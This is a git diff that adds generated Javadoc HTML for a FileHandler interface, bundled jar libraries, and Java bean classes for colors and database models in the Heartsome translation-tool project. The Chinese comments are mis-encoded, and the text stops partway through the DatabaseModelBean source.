+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/index-files/index-4.html b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-4.html new file mode 100644 index 0000000..4cfb9d6 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-4.html @@ -0,0 +1,149 @@ + + + + + + +O-Index + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +C F N O S
+

+O

+
+
openFile(String) - +Method in interface net.heartsome.cat.common.file.FileHandler +
打开一个指定文件å称的文件。 +
openFile(File) - +Method in interface net.heartsome.cat.common.file.FileHandler +
打开一个指定文件实例的文件。 +
openFiles(List<String>) - +Method in interface net.heartsome.cat.common.file.FileHandler +
打开一组指定文件å称的文件。 +
+
+ + + + + + + + + + + + + + + +
+ +
+ + + +C F N O S
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/index-files/index-5.html b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-5.html new file mode 100644 index 0000000..6e7110f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-5.html @@ -0,0 +1,146 @@ + + + + + + +S-Index + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +C F N O S
+

+S

+
+
saveFile(String, String) - +Method in interface net.heartsome.cat.common.file.FileHandler +
ä¿å­˜æŒ‡å®šçš„æºæ–‡ä»¶ä¸ºç›®æ ‡æ–‡ä»¶ã€‚ +
saveFile(File, File) - +Method in interface net.heartsome.cat.common.file.FileHandler +
ä¿å­˜æŒ‡å®šçš„æºæ–‡ä»¶ä¸ºç›®æ ‡æ–‡ä»¶ã€‚ +
+
+ + + + + + + + + + + + + + + +
+ +
+ + + +C F N O S
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/index.html b/base_commons/net.heartsome.cat.common.core/doc/index.html new file mode 100644 index 0000000..ba53b63 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/index.html @@ -0,0 +1,36 @@ + + + + + + +Generated Documentation (Untitled) + + + + + + + + +<H2> +Frame Alert</H2> + +<P> +This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. +<BR> +Link to<A HREF="net/heartsome/cat/common/file/package-summary.html">Non-frame version.</A> + + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/AbstractFileHandler.html b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/AbstractFileHandler.html new file mode 100644 index 0000000..362ebdd --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/AbstractFileHandler.html @@ -0,0 +1,281 @@ + + + + + + +AbstractFileHandler + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + +
+ +

+ +net.heartsome.cat.common.file +
+Class AbstractFileHandler

+
+java.lang.Object
+  extended by net.heartsome.cat.common.file.AbstractFileHandler
+
+
+
All Implemented Interfaces:
net.heartsome.cat.common.file.FileHandler
+
+
+
+
public abstract class AbstractFileHandler
extends java.lang.Object
implements net.heartsome.cat.common.file.FileHandler
+ + +

+一个抽象的文件处ç†ç±»ã€‚实现了文件处ç†æŽ¥å£ä¸­çš„创建文件历å²è®¿é—®åˆ—表方法。 +

+ +

+

+
Author:
+
John Zhu
+
See Also:
FileHandler
+
+ +

+ + + + + + + + + + + +
+Constructor Summary
AbstractFileHandler() + +
+           
+  + + + + + + + + + + + +
+Method Summary
+ java.util.Map<java.lang.String,java.lang.String>createFileHistory(int initSize, + int maxSize) + +
+          åˆ›å»ºæ–‡ä»¶åŽ†å²è®¿é—®åˆ—表。
+ + + + + + + +
Methods inherited from class java.lang.Object
equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait
+ + + + + + + +
Methods inherited from interface net.heartsome.cat.common.file.FileHandler
closeFile, closeFile, closeFiles, openFile, openFile, openFiles, saveFile, saveFile
+  +

+ + + + + + + + +
+Constructor Detail
+ +

+AbstractFileHandler

+
+public AbstractFileHandler()
+
+
+ + + + + + + + +
+Method Detail
+ +

+createFileHistory

+
+public java.util.Map<java.lang.String,java.lang.String> createFileHistory(int initSize,
+                                                                          int maxSize)
+
+
Description copied from interface: net.heartsome.cat.common.file.FileHandler
+
创建文件历å²è®¿é—®åˆ—表。 +

+

+
Specified by:
createFileHistory in interface net.heartsome.cat.common.file.FileHandler
+
+
+
Parameters:
initSize - 容器åˆå§‹åŒ–大å°ã€‚
maxSize - 容器最大大å°ã€‚ +
Returns:
返回一个åŒæ­¥çš„有åºçš„文件历å²è®¿é—®åˆ—表容器。
+ key 为历å²è®¿é—®æ–‡ä»¶è·¯å¾„。
+ value 为历å²è®¿é—®æ–‡ä»¶å…³é—­æ—¶ç„¦ç‚¹æ‰€åœ¨çš„文本段或是术语的索引。
+
+
+ +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/FileHandler.html b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/FileHandler.html new file mode 100644 index 0000000..528802f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/FileHandler.html @@ -0,0 +1,415 @@ + + + + + + +FileHandler + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + +
+ +

+ +net.heartsome.cat.common.file +
+Interface FileHandler

+
+
+
public interface FileHandler
+ + +

+


+ +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+Method Summary
+ java.util.Map<java.lang.String,java.lang.Object>closeFile(java.io.File file) + +
+          å…³é—­æŒ‡å®šæ–‡ä»¶å®žä¾‹çš„文件。
+ java.util.Map<java.lang.String,java.lang.Object>closeFile(java.lang.String filename) + +
+          å…³é—­æŒ‡å®šæ–‡ä»¶å称的文件。
+ java.util.Map<java.lang.String,java.lang.Object>closeFiles(java.util.List<java.lang.String> files) + +
+          å…³é—­ä¸€ç»„指定文件å称的文件。
+ java.util.Map<java.lang.String,java.lang.String>createFileHistory(int initSize, + int maxSize) + +
+          åˆ›å»ºæ–‡ä»¶åŽ†å²è®¿é—®åˆ—表。
+ java.util.Map<java.lang.String,java.lang.Object>openFile(java.io.File file) + +
+          æ‰“开一个指定文件实例的文件。
+ java.util.Map<java.lang.String,java.lang.Object>openFile(java.lang.String filename) + +
+          æ‰“开一个指定文件å称的文件。
+ java.util.Map<java.lang.String,java.lang.Object>openFiles(java.util.List<java.lang.String> files) + +
+          æ‰“开一组指定文件å称的文件。
+ java.util.Map<java.lang.String,java.lang.Object>saveFile(java.io.File srcFile, + java.io.File tgtFile) + +
+          ä¿å­˜æŒ‡å®šçš„æºæ–‡ä»¶ä¸ºç›®æ ‡æ–‡ä»¶ã€‚
+ java.util.Map<java.lang.String,java.lang.Object>saveFile(java.lang.String srcFile, + java.lang.String tgtFile) + +
+          ä¿å­˜æŒ‡å®šçš„æºæ–‡ä»¶ä¸ºç›®æ ‡æ–‡ä»¶ã€‚
+  +

+ + + + + + + + +
+Method Detail
+ +

+openFile

+
+java.util.Map<java.lang.String,java.lang.Object> openFile(java.lang.String filename)
+
+
打开一个指定文件å称的文件。 +

+

+
Parameters:
filename - è¦æ‰“开的文件å。 +
Returns:
key = result,value 为 String 类型, 返回打开文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ key = errorCode,value 为 String 类型,返回错误代ç ã€‚详è§é”™è¯¯ä»£ç å®šä¹‰ã€‚
+ key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ key = exception,value 为 Exception 类型,返回具体的异常实例。
+
+
+
+ +

+openFile

+
+java.util.Map<java.lang.String,java.lang.Object> openFile(java.io.File file)
+
+
打开一个指定文件实例的文件。 +

+

+
Parameters:
file - è¦æ‰“开的文件实例。 +
Returns:
key = result,value 为 String 类型, 返回打开文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ key = errorCode,value 为 String 类型,返回错误代ç ã€‚详è§é”™è¯¯ä»£ç å®šä¹‰ã€‚
+ key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ key = exception,value 为 Exception 类型,返回具体的异常实例。
+
+
+
+ +

+openFiles

+
+java.util.Map<java.lang.String,java.lang.Object> openFiles(java.util.List<java.lang.String> files)
+
+
打开一组指定文件å称的文件。 +

+

+
Parameters:
files - è¦æ‰“开的一组文件å。 +
Returns:
key = result,value 为 String 类型, 返回打开文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ key = errorCode,value 为 String 类型,返回错误代ç ã€‚详è§é”™è¯¯ä»£ç å®šä¹‰ã€‚
+ key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ key = exception,value 为 Exception 类型,返回具体的异常实例。
+
+
+
+ +

+closeFile

+
+java.util.Map<java.lang.String,java.lang.Object> closeFile(java.lang.String filename)
+
+
关闭指定文件å称的文件。 +

+

+
Parameters:
filename - è¦å…³é—­çš„文件å。 +
Returns:
key = result,value 为 String 类型, 返回关闭文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ key = errorCode,value 为 String 类型,返回错误代ç ã€‚详è§é”™è¯¯ä»£ç å®šä¹‰ã€‚
+ key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ key = exception,value 为 Exception 类型,返回具体的异常实例。
+
+
+
+ +

+closeFile

+
+java.util.Map<java.lang.String,java.lang.Object> closeFile(java.io.File file)
+
+
关闭指定文件实例的文件。 +

+

+
Parameters:
file - è¦å…³é—­çš„文件实例。 +
Returns:
key = result,value 为 String 类型, 返回关闭文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ key = errorCode,value 为 String 类型,返回错误代ç ã€‚详è§é”™è¯¯ä»£ç å®šä¹‰ã€‚
+ key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ key = exception,value 为 Exception 类型,返回具体的异常实例。
+
+
+
+ +

+closeFiles

+
+java.util.Map<java.lang.String,java.lang.Object> closeFiles(java.util.List<java.lang.String> files)
+
+
关闭一组指定文件å称的文件。 +

+

+
Parameters:
files - è¦å…³é—­çš„一组文件å。 +
Returns:
key = result,value 为 String 类型, 返回关闭文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ key = errorCode,value 为 String 类型,返回错误代ç ã€‚详è§é”™è¯¯ä»£ç å®šä¹‰ã€‚
+ key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ key = exception,value 为 Exception 类型,返回具体的异常实例。
+
+
+
+ +

+saveFile

+
+java.util.Map<java.lang.String,java.lang.Object> saveFile(java.lang.String srcFile,
+                                                          java.lang.String tgtFile)
+
+
ä¿å­˜æŒ‡å®šçš„æºæ–‡ä»¶ä¸ºç›®æ ‡æ–‡ä»¶ã€‚ +

+

+
Parameters:
srcFile - æºæ–‡ä»¶ã€‚
tgtFile - 目标文件。 +
Returns:
key = result,value 为 String 类型, 返回ä¿å­˜æ–‡ä»¶çš„结果。 1 æˆåŠŸï¼Œ 0 失败。
+ key = errorCode,value 为 String 类型,返回错误代ç ã€‚详è§é”™è¯¯ä»£ç å®šä¹‰ã€‚
+ key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ key = exception,value 为 Exception 类型,返回具体的异常实例。
+
+
+
+ +

+saveFile

+
+java.util.Map<java.lang.String,java.lang.Object> saveFile(java.io.File srcFile,
+                                                          java.io.File tgtFile)
+
+
ä¿å­˜æŒ‡å®šçš„æºæ–‡ä»¶ä¸ºç›®æ ‡æ–‡ä»¶ã€‚ +

+

+
Parameters:
srcFile - æºæ–‡ä»¶å®žä¾‹ã€‚
tgtFile - 目标文件实例。 +
Returns:
key = result,value 为 String 类型, 返回ä¿å­˜æ–‡ä»¶çš„结果。 1 æˆåŠŸï¼Œ 0 失败。
+ key = errorCode,value 为 String 类型,返回错误代ç ã€‚详è§é”™è¯¯ä»£ç å®šä¹‰ã€‚
+ key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ key = exception,value 为 Exception 类型,返回具体的异常实例。
+
+
+
+ +

+createFileHistory

+
+java.util.Map<java.lang.String,java.lang.String> createFileHistory(int initSize,
+                                                                   int maxSize)
+
+
创建文件历å²è®¿é—®åˆ—表。 +

+

+
Parameters:
initSize - 容器åˆå§‹åŒ–大å°ã€‚
maxSize - 容器最大大å°ã€‚ +
Returns:
返回一个åŒæ­¥çš„有åºçš„文件历å²è®¿é—®åˆ—表容器。
+ key 为历å²è®¿é—®æ–‡ä»¶è·¯å¾„。
+ value 为历å²è®¿é—®æ–‡ä»¶å…³é—­æ—¶ç„¦ç‚¹æ‰€åœ¨çš„文本段或是术语的索引。
+
+
+ +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/class-use/AbstractFileHandler.html b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/class-use/AbstractFileHandler.html new file mode 100644 index 0000000..8f329f5 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/class-use/AbstractFileHandler.html @@ -0,0 +1,142 @@ + + + + + + +Uses of Class net.heartsome.cat.common.file.AbstractFileHandler + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+
+

+Uses of Class
net.heartsome.cat.common.file.AbstractFileHandler

+
+No usage of net.heartsome.cat.common.file.AbstractFileHandler +

+


+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/class-use/FileHandler.html b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/class-use/FileHandler.html new file mode 100644 index 0000000..0394aee --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/class-use/FileHandler.html @@ -0,0 +1,142 @@ + + + + + + +Uses of Interface net.heartsome.cat.common.file.FileHandler + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+
+

+Uses of Interface
net.heartsome.cat.common.file.FileHandler

+
+No usage of net.heartsome.cat.common.file.FileHandler +

+


+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-frame.html b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-frame.html new file mode 100644 index 0000000..f716bff --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-frame.html @@ -0,0 +1,32 @@ + + + + + + +net.heartsome.cat.common.file + + + + + + + + + + + +net.heartsome.cat.common.file + + + + +
+Classes  + +
+AbstractFileHandler
+ + + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-summary.html b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-summary.html new file mode 100644 index 0000000..893e601 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-summary.html @@ -0,0 +1,155 @@ + + + + + + +net.heartsome.cat.common.file + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+

+Package net.heartsome.cat.common.file +

+ + + + + + + + + +
+Class Summary
AbstractFileHandler一个抽象的文件处ç†ç±»ã€‚实现了文件处ç†æŽ¥å£ä¸­çš„创建文件历å²è®¿é—®åˆ—表方法。
+  + +

+

+
+
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-tree.html b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-tree.html new file mode 100644 index 0000000..bb146d3 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-tree.html @@ -0,0 +1,149 @@ + + + + + + +net.heartsome.cat.common.file Class Hierarchy + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+
+

+Hierarchy For Package net.heartsome.cat.common.file +

+
+

+Class Hierarchy +

+ +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-use.html b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-use.html new file mode 100644 index 0000000..d544234 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/net/heartsome/cat/common/file/package-use.html @@ -0,0 +1,142 @@ + + + + + + +Uses of Package net.heartsome.cat.common.file + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+
+

+Uses of Package
net.heartsome.cat.common.file

+
+No usage of net.heartsome.cat.common.file +

+


+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/overview-tree.html b/base_commons/net.heartsome.cat.common.core/doc/overview-tree.html new file mode 100644 index 0000000..bf7d2be --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/overview-tree.html @@ -0,0 +1,151 @@ + + + + + + +Class Hierarchy + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+
+

+Hierarchy For All Packages

+
+
+
Package Hierarchies:
net.heartsome.cat.common.file
+
+

+Class Hierarchy +

+ +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/package-list b/base_commons/net.heartsome.cat.common.core/doc/package-list new file mode 100644 index 0000000..a8319b5 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/package-list @@ -0,0 +1 @@ +net.heartsome.cat.common.file diff --git a/base_commons/net.heartsome.cat.common.core/doc/resources/inherit.gif b/base_commons/net.heartsome.cat.common.core/doc/resources/inherit.gif new file mode 100644 index 0000000..c814867 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.core/doc/resources/inherit.gif differ diff --git a/base_commons/net.heartsome.cat.common.core/doc/stylesheet.css b/base_commons/net.heartsome.cat.common.core/doc/stylesheet.css new file mode 100644 index 0000000..6ea9e51 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/stylesheet.css @@ -0,0 +1,29 @@ +/* Javadoc style sheet */ + +/* Define colors, fonts and other style attributes here to override the defaults */ + +/* Page background color */ +body { background-color: #FFFFFF; color:#000000 } + +/* Headings */ +h1 { font-size: 145% } + +/* Table colors */ +.TableHeadingColor { background: #CCCCFF; color:#000000 } /* Dark mauve */ +.TableSubHeadingColor { background: #EEEEFF; color:#000000 } /* Light mauve */ +.TableRowColor { background: #FFFFFF; color:#000000 } /* White */ + +/* Font used in left-hand frame lists */ +.FrameTitleFont { font-size: 100%; font-family: Helvetica, Arial, sans-serif; color:#000000 } +.FrameHeadingFont { font-size: 90%; font-family: Helvetica, Arial, sans-serif; color:#000000 } +.FrameItemFont { font-size: 90%; font-family: Helvetica, Arial, sans-serif; color:#000000 } + +/* Navigation bar fonts and colors */ +.NavBarCell1 { background-color:#EEEEFF; color:#000000} /* Light mauve */ +.NavBarCell1Rev { background-color:#00008B; color:#FFFFFF} /* Dark Blue */ +.NavBarFont1 { font-family: Arial, Helvetica, sans-serif; color:#000000;color:#000000;} +.NavBarFont1Rev { font-family: Arial, Helvetica, sans-serif; color:#FFFFFF;color:#FFFFFF;} + +.NavBarCell2 { font-family: Arial, Helvetica, sans-serif; background-color:#FFFFFF; color:#000000} +.NavBarCell3 { font-family: Arial, Helvetica, sans-serif; background-color:#FFFFFF; color:#000000} + diff --git a/base_commons/net.heartsome.cat.common.core/lib/antlr-2.7.4.jar b/base_commons/net.heartsome.cat.common.core/lib/antlr-2.7.4.jar new file mode 100644 index 0000000..45e45b5 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.core/lib/antlr-2.7.4.jar differ diff --git a/base_commons/net.heartsome.cat.common.core/lib/chardet-1.0.jar b/base_commons/net.heartsome.cat.common.core/lib/chardet-1.0.jar new file mode 100644 index 0000000..2e84a8d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.core/lib/chardet-1.0.jar differ diff --git a/base_commons/net.heartsome.cat.common.core/lib/cpdetector_1.0.10.jar b/base_commons/net.heartsome.cat.common.core/lib/cpdetector_1.0.10.jar new file mode 100644 index 0000000..47329f2 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.core/lib/cpdetector_1.0.10.jar differ diff --git a/base_commons/net.heartsome.cat.common.core/lib/jargs-1.0.jar b/base_commons/net.heartsome.cat.common.core/lib/jargs-1.0.jar new file mode 100644 index 0000000..92d9b9b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.core/lib/jargs-1.0.jar differ diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/ColorConfigBean.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/ColorConfigBean.java new file mode 100644 index 0000000..bf1401d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/ColorConfigBean.java @@ -0,0 +1,330 @@ +/** + * ViewerColorBean.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.bean; + +import org.eclipse.swt.graphics.Color; + +/** + * 视图中的相关颜色å°è£… + * @author jason + * @version + * @since JDK1.6 + */ +public class ColorConfigBean { + private Color ptColor; + private Color qtColor; + private Color mtColor; + private Color tm101Color; + private Color tm100Color; + private Color tm90Color; + private Color tm80Color; + private Color tm70Color; + private Color tm0Color; + + private Color highlightedTermColor; + + // æºæ–‡ä¸åŒå‰æ™¯è‰² + private Color srcDiffFgColor; + // æºæ–‡ä¸åŒèƒŒæ™¯è‰² + private Color srcDiffBgColor; + + // 标记å‰æ™¯è‰² + private Color tagFgColor; + // 标记背景色 + private Color tagBgColor; + + /** 错误标记色 */ + private Color wrongTagColor; + + /** 错误å•è¯çš„颜色 */ + private Color errorWordColor; + + private static ColorConfigBean instance; + + public static ColorConfigBean getInstance() { + if (instance == null) { + instance = new ColorConfigBean(); + } + return instance; + } + + private ColorConfigBean() { + } + + public void release() { + if (ptColor != null && !ptColor.isDisposed()) { + ptColor.dispose(); + } + if (mtColor != null && !mtColor.isDisposed()) { + mtColor.dispose(); + } + if (qtColor != null && !qtColor.isDisposed()) { + qtColor.dispose(); + } + if (tm101Color != null && !tm101Color.isDisposed()) { + tm101Color.dispose(); + } + if (tm100Color != null && !tm100Color.isDisposed()) { + tm100Color.dispose(); + } + if (tm90Color != null && !tm90Color.isDisposed()) { + tm90Color.dispose(); + } + if (tm80Color != null && !tm80Color.isDisposed()) { + tm80Color.dispose(); + } + if (tm70Color != null && !tm70Color.isDisposed()) { + tm70Color.dispose(); + } + if (tm0Color != null && !tm0Color.isDisposed()) { + tm0Color.dispose(); + } + + if (srcDiffFgColor != null && !srcDiffFgColor.isDisposed()) { + srcDiffFgColor.dispose(); + } + if (srcDiffBgColor != null && !srcDiffBgColor.isDisposed()) { + srcDiffBgColor.dispose(); + } + + if (tagFgColor != null && !tagFgColor.isDisposed()) { + tagFgColor.dispose(); + } + if (tagBgColor != null && !tagBgColor.isDisposed()) { + tagBgColor.dispose(); + } + if (wrongTagColor != null && !wrongTagColor.isDisposed()) { + wrongTagColor.dispose(); + } + } + + /** @return the ptColor */ + public Color getPtColor() { + return ptColor; + } + + /** @return the qtColor */ + public Color getQtColor() { + return qtColor; + } + + /** @return the mtColor */ + public Color getMtColor() { + return mtColor; + } + + /** @return the tm101Color */ + public Color getTm101Color() { + return tm101Color; + } + + /** @return the tm100Color */ + public Color getTm100Color() { + return tm100Color; + } + + /** @return the tm90Color */ + public Color getTm90Color() { + return tm90Color; + } + + /** @return the tm80Color */ + public Color getTm80Color() { + return tm80Color; + } + + /** @return the tm70Color */ + public Color getTm70Color() { + return tm70Color; + } + + /** @return the rm0Color */ + public Color getTm0Color() { + return tm0Color; + } + + /** @return the srcDiffFgColor */ + public Color getSrcDiffFgColor() { + return srcDiffFgColor; + } + + /** @return the srcDiffBgColor */ + public Color getSrcDiffBgColor() { + return srcDiffBgColor; + } + + /** @return the tagFgColor */ + public Color getTagFgColor() { + return tagFgColor; + } + + /** @return the tagBgColor */ + public Color getTagBgColor() { + return tagBgColor; + } + + /** @return the wrongTagColor */ + public Color getWrongTagColor() { + return wrongTagColor; + } + + /** @return the highlightedTermColor */ + public Color getHighlightedTermColor() { + return highlightedTermColor; + } + + public Color getErrorWordColor() { + return errorWordColor; + } + + /** + * @param ptColor + * the ptColor to set + */ + public void setPtColor(Color ptColor) { + this.ptColor = ptColor; + } + + /** + * @param qtColor + * the qtColor to set + */ + public void setQtColor(Color qtColor) { + this.qtColor = qtColor; + } + + /** + * @param mtColor + * the mtColor to set + */ + public void setMtColor(Color mtColor) { + this.mtColor = mtColor; + } + + /** + * @param tm101Color + * the tm101Color to set + */ + public void setTm101Color(Color tm101Color) { + this.tm101Color = tm101Color; + } + + /** + * @param tm100Color + * the tm100Color to set + */ + public void setTm100Color(Color tm100Color) { + this.tm100Color = tm100Color; + } + + /** + * @param tm90Color + * the tm90Color to set + */ + public void setTm90Color(Color tm90Color) { + this.tm90Color = tm90Color; + } + + /** + * @param tm80Color + * the tm80Color to set + */ + public void setTm80Color(Color tm80Color) { + this.tm80Color = tm80Color; + } + + /** + * @param tm70Color + * the tm70Color to set + */ + public void setTm70Color(Color tm70Color) { + this.tm70Color = tm70Color; + } + + /** + * @param tm0Color + * the tm0Color to set + */ + public void setTm0Color(Color tm0Color) { + this.tm0Color = tm0Color; + } + + /** + * @param highlightedTermColor + * the highlightedTermColor to set + */ + public void setHighlightedTermColor(Color highlightedTermColor) { + this.highlightedTermColor = highlightedTermColor; + } + + /** + * @param srcDiffFgColor + * the srcDiffFgColor to set + */ + public void setSrcDiffFgColor(Color srcDiffFgColor) { + this.srcDiffFgColor = srcDiffFgColor; + } + + /** + * @param srcDiffBgColor + * the srcDiffBgColor to set + */ + public void setSrcDiffBgColor(Color srcDiffBgColor) { + this.srcDiffBgColor = srcDiffBgColor; + } + + /** + * @param tagFgColor + * the tagFgColor to set + */ + public void setTagFgColor(Color tagFgColor) { + this.tagFgColor = tagFgColor; + } + + /** + * @param tagBgColor + * the tagBgColor to set + */ + public void setTagBgColor(Color tagBgColor) { + this.tagBgColor = tagBgColor; + } + + /** + * @param wrongTagColor + * the wrongTagColor to set + */ + public void setWrongTagColor(Color wrongTagColor) { + this.wrongTagColor = wrongTagColor; + } + + /** + * @param errorWordColor + * the errorWordColor to set + */ + public void setErrorWordColor(Color errorWordColor) { + this.errorWordColor = errorWordColor; + } + + @Override + public String toString() { + StringBuffer sb = new StringBuffer(); + return sb.append(ptColor.toString()).append("-").append(qtColor.toString()).append("-") + .append(mtColor.toString()).append("-").append("-").append(tm101Color.toString()).append("-") + .append(tm100Color.toString()).append("-").append(tm90Color.toString()).append("-") + .append(tm80Color.toString()).append("-").append(tm70Color.toString()).append("-") + .append(tm0Color.toString()).append("-").append(srcDiffFgColor.toString()).append("-") + .append(srcDiffBgColor.toString()).append("-").append(tagFgColor.toString()).append("-") + .append(tagBgColor.toString()).append("-").append(wrongTagColor.toString()).toString(); + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/DatabaseModelBean.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/DatabaseModelBean.java new file mode 100644 index 0000000..b0f6dfd --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/DatabaseModelBean.java @@ -0,0 +1,284 @@ +/** + * DataBaseModelBean.java + * + * Version information : + * + * Date:Oct 24, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.bean; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.beans.PropertyChangeSupport; + +/** + * æ•°æ®åº“管ç†æ¨¡å—中对应的 + * @author Jason + * @version + * @since JDK1.6 + */ +public class DatabaseModelBean 